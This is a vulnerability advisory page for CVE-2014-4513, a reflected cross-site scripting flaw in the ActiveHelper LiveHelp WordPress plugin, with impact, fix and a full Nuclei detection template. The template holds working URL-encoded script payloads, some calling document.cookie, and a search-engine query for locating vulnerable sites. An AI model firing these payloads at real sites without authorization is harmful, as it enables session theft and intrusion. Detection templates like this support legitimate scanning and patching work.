ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting

mediumseverity

4.3CVSS score

4.6%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: GET /wp-content/plugins/activehelper-livehelp/readme.txt
Positive when: contains "ActiveHelper LiveHelp Live Chat"
Send: GET {{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.d…
Positive when: contains "</textarea></script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2014-4513 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2014-4513

info:
  name: ActiveHelper LiveHelp Server 3.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Multiple cross-site scripting vulnerabilities in server/offline.php in the ActiveHelper LiveHelp Live Chat plugin 3.1.0 and earlier for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) MESSAGE, (2) EMAIL, or (3) NAME parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade to a patched version of ActiveHelper LiveHelp Server or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4513
    - http://codevigilant.com/disclosure/wp-plugin-activehelper-livehelp-a3-cross-site-scripting-xss
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2014-4513
    cwe-id: CWE-79
    epss-score: 0.04573
    epss-percentile: 0.91693
    cpe: cpe:2.3:a:activehelper:activehelper_livehelp_live_chat:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: activehelper
    product: "activehelper_livehelp_live_chat"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/activehelper-livehelp\""
  tags: cve2014,cve,wordpress,xss,wp-plugin,activehelper,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/activehelper-livehelp/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'ActiveHelper LiveHelp Live Chat'

  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/activehelper-livehelp/server/offline.php?MESSAGE=MESSAGE%3C%2Ftextarea%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&DOMAINID=DOMAINID&COMPLETE=COMPLETE&TITLE=TITLE&URL=URL&COMPANY=COMPANY&SERVER=SERVER&PHONE=PHONE&SECURITY=SECURITY&BCC=BCC&EMAIL=EMAIL%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&NAME=NAME%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</textarea></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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